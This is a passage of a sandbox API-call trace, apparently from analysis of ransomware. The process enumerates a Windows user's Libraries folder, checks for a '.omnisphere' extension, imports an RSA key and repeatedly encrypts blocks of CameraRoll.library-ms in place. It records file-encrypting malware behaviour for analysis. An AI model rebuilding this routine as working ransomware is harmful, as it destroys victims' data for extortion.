cAlternateFileName="")) returned 0x1639b28 [0117.996] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3c547e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0117.996] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3c547e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 0 [0117.996] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0117.996] GetProcessHeap () returned 0x1600000 [0117.996] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167bad0 | out: hHeap=0x1600000) returned 1 [0117.996] GetProcessHeap () returned 0x1600000 [0117.996] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1633528 | out: hHeap=0x1600000) returned 1 [0117.996] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43f6e2ed, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xce4e13d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0117.996] GetProcessHeap () returned 0x1600000 [0117.996] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x86) returned 0x1633918 [0117.996] PathCombineW (in: pszDest=0x1633918, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Libraries" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" [0117.996] GetProcessHeap () returned 0x1600000 [0117.996] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8a) returned 0x167c1f0 [0117.996] PathCombineW (in: pszDest=0x167c1f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*" [0117.996] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43f6e2ed, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xce4e13d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName=".", cAlternateFileName="")) returned 0x16396a8 [0117.997] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43f6e2ed, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xce4e13d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="..", cAlternateFileName="")) returned 1 [0117.998] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce14db28, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce14db28, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x902, dwReserved0=0x0, dwReserved1=0xd3, cFileName="CameraRoll.library-ms", cAlternateFileName="CAMERA~1.LIB")) returned 1 [0117.998] GetProcessHeap () returned 0x1600000 [0117.998] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb2) returned 0x166a4b8 [0117.998] PathCombineW (in: pszDest=0x166a4b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="CameraRoll.library-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms" [0117.998] StrStrW (lpFirst=".omnisphere", lpSrch=".library-ms") returned 0x0 [0117.998] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\cameraroll.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0117.998] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=2306) returned 1 [0117.998] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3de, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0117.998] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0118.000] GetTickCount () returned 0x115d7de [0118.000] GetTickCount () returned 0x115d7de [0118.000] GetTickCount () returned 0x115d7de [0118.000] GetTickCount () returned 0x115d7de [0118.000] GetTickCount () returned 0x115d7de [0118.000] GetTickCount () returned 0x115d7de [0118.000] GetTickCount () returned 0x115d7de [0118.000] GetTickCount () returned 0x115d7de [0118.000] GetTickCount () returned 0x115d7de [0118.000] GetTickCount () returned 0x115d7de [0118.000] GetTickCount () returned 0x115d7de [0118.000] GetTickCount () returned 0x115d7de [0118.000] GetTickCount () returned 0x115d7de [0118.000] GetTickCount () returned 0x115d7de [0118.000] GetTickCount () returned 0x115d7de [0118.000] GetTickCount () returned 0x115d7de [0118.000] GetTickCount () returned 0x115d7de [0118.000] GetTickCount () returned 0x115d7de [0118.001] GetTickCount () returned 0x115d7de [0118.001] GetTickCount () returned 0x115d7de [0118.001] GetTickCount () returned 0x115d7de [0118.001] GetTickCount () returned 0x115d7de [0118.001] GetTickCount () returned 0x115d7de [0118.001] GetTickCount () returned 0x115d7de [0118.001] GetTickCount () returned 0x115d7de [0118.001] GetTickCount () returned 0x115d7de [0118.001] GetTickCount () returned 0x115d7de [0118.001] GetTickCount () returned 0x115d7de [0118.001] GetTickCount () returned 0x115d7de [0118.001] GetTickCount () returned 0x115d7de [0118.001] GetTickCount () returned 0x115d7de [0118.001] GetTickCount () returned 0x115d7de [0118.001] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0118.002] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16397a8) returned 1 [0118.002] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.002] CryptDestroyKey (hKey=0x16397a8) returned 1 [0118.002] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0118.002] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x902, lpName=0x0) returned 0x288 [0118.002] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x902) returned 0x1480000 [0118.002] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0118.003] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639568) returned 1 [0118.003] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.003] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.004] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.005] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, 